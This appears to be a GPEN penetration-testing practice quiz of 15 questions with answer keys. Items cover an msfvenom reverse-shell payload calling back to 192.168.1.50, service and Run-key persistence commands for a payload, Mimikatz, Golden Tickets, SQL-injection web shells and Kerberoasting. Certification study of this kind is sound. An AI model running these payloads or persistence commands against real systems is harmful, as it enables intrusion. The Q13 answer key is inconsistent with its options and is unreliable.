GPEN Practice Test 14 — 15 Questions

Question 1

A penetration tester uses msfvenom to generate a Linux ELF reverse shell payload. The tester wants the payload to connect back to 192.168.1.50 on port 4444 and to embed an encoder that removes null bytes and other bad characters to survive transmission through a constrained channel. Which msfvenom command line correctly produces this payload?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f elf -o shell.elf. The correct msfvenom invocation selects the Linux reverse TCP payload, supplies the callback host and port, applies the shikata_ga_nai encoder, declares null bytes as bad characters with -b, and outputs an ELF file. The -b option is what drives the encoder to avoid those bytes in the final payload, which is required for the constrained channel. The other options either omit bad-character handling, use the wrong format, or add a contradictory platform flag.

Answer

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -f elf -o shell.elf

Answer

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f elf -o shell.elf --platform windows

Answer

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f exe -o shell.elf

Question 2

A penetration tester has captured a password hash from a Linux system and identifies it as a SHA-512 crypt hash. Which Hashcat mode should be used to crack this hash?

Accepted Answer

Mode 1800 (sha512crypt, SHA512(Unix)). Linux systems often store password hashes in /etc/shadow using SHA-512 crypt, identified by the $6$ prefix. Hashcat mode 1800 is the correct mode to crack these hashes. Other modes like 500, 3200, or 7400 target different algorithms and would not successfully crack the SHA-512 crypt hash, leading to wasted effort.

Answer

Mode 500 (md5crypt, MD5(Unix))

Answer

Mode 7400 (sha256crypt, SHA256(Unix))

Answer

Mode 3200 (bcrypt)

Question 3

During an internal penetration test of a hybrid Microsoft Entra ID environment, you compromise a standard on-premises user account. You notice that the account's on-premises userPrincipalName is jdoe@corp.local, but the corresponding cloud account has the userPrincipalName jdoe@corp.com. Which attribute should you modify on-premises to change the cloud sign-in address for this synchronized user?

Accepted Answer

userPrincipalName. In a hybrid Microsoft Entra ID environment, the on-premises userPrincipalName attribute is synchronized to the cloud as the user's sign-in name, provided the domain is verified. Changing this attribute to the desired cloud UPN will update the cloud sign-in address after synchronization. Other attributes like proxyAddresses, mail, and sAMAccountName do not control the cloud UPN.

Answer

sAMAccountName

Answer

proxyAddresses

Answer

mail

Question 4

During a penetration test, you obtain a memory dump from a Windows Server 2016 system. You suspect that a domain administrator recently logged on and left credentials in memory. Which tool is specifically designed to extract plaintext passwords and hashes from Windows memory dumps?

Accepted Answer

Mimikatz. Mimikatz is the tool of choice for extracting credentials from Windows memory dumps. It directly parses LSASS memory to retrieve plaintext passwords and hashes. While Volatility can analyze memory dumps, it requires additional plugins for credential extraction. Hashcat and John the Ripper are cracking tools, not extraction tools, so they are not suitable for this scenario.

Answer

John the Ripper

Answer

Hashcat

Answer

Volatility

Question 5

A penetration tester is reviewing the results of a vulnerability scan and sees a finding labeled 'SSL Certificate Expired' on a web server. The tester confirms that the certificate is indeed expired. What is the most appropriate next step according to typical penetration testing methodology?

Accepted Answer

Document the finding, verify its impact, and include it in the final report with remediation recommendations.. The appropriate next step is to document the finding, verify its impact, and include it in the report with remediation recommendations. Expired certificates are configuration issues that can affect security and compliance but are not typically exploitable. The tester should not attempt to exploit or fix the issue unless authorized. Ignoring it would be improper as it is a valid finding.

Answer

Attempt to renew the certificate yourself to fix the issue.

Answer

Immediately exploit the expired certificate to gain unauthorized access.

Answer

Ignore the finding because expired certificates are not security vulnerabilities.

Question 6

A penetration tester is using Nmap with the NSE script 'vulners' to identify vulnerabilities on a target. The scan returns a list of CVEs for detected services, but the tester notices that some CVEs have a low confidence score. What is the MOST accurate interpretation of these low-confidence findings?

Accepted Answer

They are potential matches based on version correlation and should be manually verified before reporting.. Low confidence in vulners output signals an approximate version-to-CVE match. Because service banners can be incomplete or versions backported, the script cannot be certain the vulnerability exists. The correct response is to treat these as potential findings and manually verify the service's exact version and patch state before reporting. This avoids both false positives and false negatives.

Answer

They indicate that the CVE is not in the NVD database and is therefore invalid.

Answer

They indicate that the vulnerability is likely a false positive and should be ignored.

Answer

They represent vulnerabilities that require authentication to exploit and are therefore lower risk.

Question 7

A penetration tester is targeting a web application that uses a custom authentication mechanism. After capturing network traffic, the tester notices that the application sends a challenge to the client and expects a response derived from the user's password. The tester wants to perform an offline brute-force attack against the captured challenge-response pairs. Which type of password attack is this?

Accepted Answer

Offline brute-force against challenge-response. The attack involves capturing challenge-response pairs and then performing an offline brute-force to recover the password that generates the correct response. This is a form of offline password cracking against a challenge-response protocol. Other options like Pass-the-Hash, credential stuffing, or rainbow tables do not match the described scenario.

Answer

Rainbow table attack

Answer

Credential stuffing

Answer

Pass-the-Hash

Question 8

A penetration tester is preparing to scan a network that includes a mix of traditional IT systems and industrial control systems (ICS). The tester wants to minimize the risk of disrupting ICS devices. Which scanning approach is MOST appropriate for the ICS segment?

Accepted Answer

Use a passive scanner that only listens to network traffic without sending packets.. Passive scanning is the safest method for ICS because it does not send any traffic that could disrupt fragile devices. It relies on observing existing network traffic to identify assets and potential vulnerabilities. Active scanning, even with Safe Checks or during maintenance, carries inherent risk of causing outages. For OT environments, passive monitoring is the recommended first step before any active testing.

Answer

Perform an aggressive Nmap scan with OS detection and version scanning.

Answer

Scan the ICS segment during a planned maintenance window with Safe Checks enabled.

Answer

Run a credentialed scan with default settings to get the most accurate results.

Question 9

During a penetration test on a Windows Server 2019 domain controller, you discover that the KRBTGT account password was last set 5 years ago. You extract the KRBTGT hash and create a Golden Ticket with a 10-year expiration. What is the primary reason this persistence method is particularly effective in this scenario?

Accepted Answer

The KRBTGT password is rarely changed, so the Golden Ticket remains valid for its full lifetime.. In this scenario, the KRBTGT password's extreme age means the hash is unlikely to be rotated soon. Since Golden Tickets remain valid until the KRBTGT password is changed twice, the attacker can maintain access for years, making this a highly effective and stealthy persistence method.

Answer

The Golden Ticket can be used to authenticate to any service in the domain without additional tickets.

Answer

The KRBTGT account has a weak password that can be brute-forced.

Answer

The Golden Ticket is automatically renewed by the domain controller, extending its validity.

Question 10

During a penetration test, you are reviewing the results of a WHOIS query for a target domain. You notice the registrant's email address is privacy-protected, but the technical contact email is a generic address at a third-party hosting company. What is the most likely explanation for this finding, and what should you do next to gather more information about the target's infrastructure?

Accepted Answer

The target has outsourced domain management to a hosting provider; you should examine the hosting provider's IP ranges and look for other domains hosted on the same server.. A technical contact at a hosting company typically means the domain is managed by that provider. Examining the hosting provider's IP ranges and looking for other domains on the same server can reveal shared infrastructure, additional targets, and potential weaknesses. This is a standard passive reconnaissance pivot that expands the scope without directly alerting the target.

Answer

The target is using a privacy protection service; you should query the same WHOIS data from a different regional internet registry (RIR) to find the real contact.

Answer

The target is hiding its true identity; you should attempt to subpoena the hosting provider for the real customer information.

Answer

The WHOIS data is corrupted; you should use a different WHOIS tool to retrieve the correct registrant information.

Question 11

During an authorized penetration test, you have gained a low-privileged shell on a Linux host. You discover that the kernel is version 4.4.0-116-generic and the system is missing several patches. You want to escalate privileges to root. Which of the following is the most reliable and safe method to achieve privilege escalation?

Accepted Answer

Search for misconfigured SUID binaries and exploit them using GTFOBins techniques.. Privilege escalation via misconfigured SUID binaries is often the safest and most reliable because it exploits existing permissions rather than kernel vulnerabilities. Kernel exploits carry a higher risk of crashing the system and are version-dependent. Enumerating SUID binaries and using GTFOBins to identify exploitation vectors is a standard practice in penetration testing, allowing for privilege escalation without destabilizing the host.

Answer

Run a kernel exploit such as Dirty COW (CVE-2016-5195) to overwrite /etc/passwd and add a root user.

Answer

Use Metasploit's local exploit suggester module to automatically find and run a suitable exploit.

Answer

Use a public exploit for CVE-2017-16995 (BPF verifier) to gain root, as it is known to work on this kernel version.

Question 12

You have obtained Domain Admin credentials during an internal penetration test. To ensure continued access even if the compromised user's password is changed, you decide to create a Golden Ticket. Which artifact is required to forge a Golden Ticket?

Accepted Answer

The KRBTGT account's NTLM hash.. A Golden Ticket is a forged Kerberos TGT signed with the KRBTGT account's NTLM hash. This hash is the ultimate secret in a Kerberos realm; with it, an attacker can impersonate any user, including Domain Admins, and maintain access even after password changes. The KRBTGT hash is obtained by compromising a Domain Controller and extracting it from memory or the NTDS.dit file.

Answer

A valid TGS for the Domain Controller.

Answer

The Domain Admin user's NTLM hash.

Answer

The domain's Kerberos policy settings.

Question 13

You are conducting a penetration test against a web application. During exploitation, you identify a SQL injection vulnerability that allows you to execute arbitrary SQL queries. You want to leverage this to gain remote code execution on the underlying database server. Which TWO of the following techniques are most likely to achieve this goal? (Choose two.)

Accepted Answer

Exploiting the SQL injection to write a web shell to the web server's root directory using INTO OUTFILE.. The two techniques that directly lead to remote code execution from SQL injection are writing a web shell via INTO OUTFILE and using xp_cmdshell on MSSQL. Both require specific privileges and configurations but are proven methods to escalate from SQL injection to full command execution on the server. Other options focus on data extraction or reading files, which do not directly achieve RCE.

Answer

Injecting a stored procedure that uses the LOAD_FILE function to read sensitive files from the server.

Answer

Performing a blind SQL injection to infer the database schema and then using that information to craft a more targeted attack.

Answer

Using UNION-based SQL injection to extract data from the database and then cracking password hashes offline.

Question 14

During an authorized penetration test, you have established a C2 session using a popular framework. Your goal is to maintain persistent access to a compromised Windows host even after the user logs off or the system reboots. You decide to use a service-based persistence mechanism. Which of the following commands, when executed on the compromised host, would create a new Windows service that runs your payload at startup?

Accepted Answer

sc create Updater binPath= "C:\Windows\Temp\payload.exe" start= auto. Creating a Windows service with sc.exe is a reliable method for achieving persistence because services can be configured to start automatically at boot, independent of user logon. The command must use the correct syntax with spaces after 'binPath=' and 'start='. Other options either rely on user logon or use invalid syntax, failing to meet the requirement of persistence across reboots without user interaction.

Answer

wmic service create name='Updater' path='C:\Windows\Temp\payload.exe' startmode='Auto'

Answer

schtasks /create /tn "Updater" /tr "C:\Windows\Temp\payload.exe" /sc onlogon

Answer

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe"

Question 15

A penetration tester has obtained a low-privileged domain user's cleartext credentials. During reconnaissance, the tester wants to enumerate which accounts in the domain are configured with Service Principal Names (SPNs) and are therefore candidates for Kerberoasting, without triggering a lockout or modifying the directory. Which of the following approaches best accomplishes this?

Accepted Answer

Run a targeted LDAP query for objects where servicePrincipalName is present and not null, using tools such as GetUserSPNs.py or PowerView's Get-DomainUser -SPN.. Kerberoasting requires identifying domain accounts that have a servicePrincipalName set, because those accounts can have a service ticket requested and cracked offline. The cleanest way to find them is a read-only LDAP search filtering on servicePrincipalName. This technique uses only legitimate authenticated access, avoids lockout risk, and does not alter the directory, making it the appropriate reconnaissance step.

Answer

Perform an SMB null session against each domain controller and parse the SAM database for accounts ending in the $ suffix.

Answer

Send an AS-REQ for every account in the domain and inspect which accounts return a pre-authentication error versus a valid AS-REP.

Answer

Request a TGS for the krbtgt service and inspect the returned ticket's encryption type to infer which accounts have SPNs.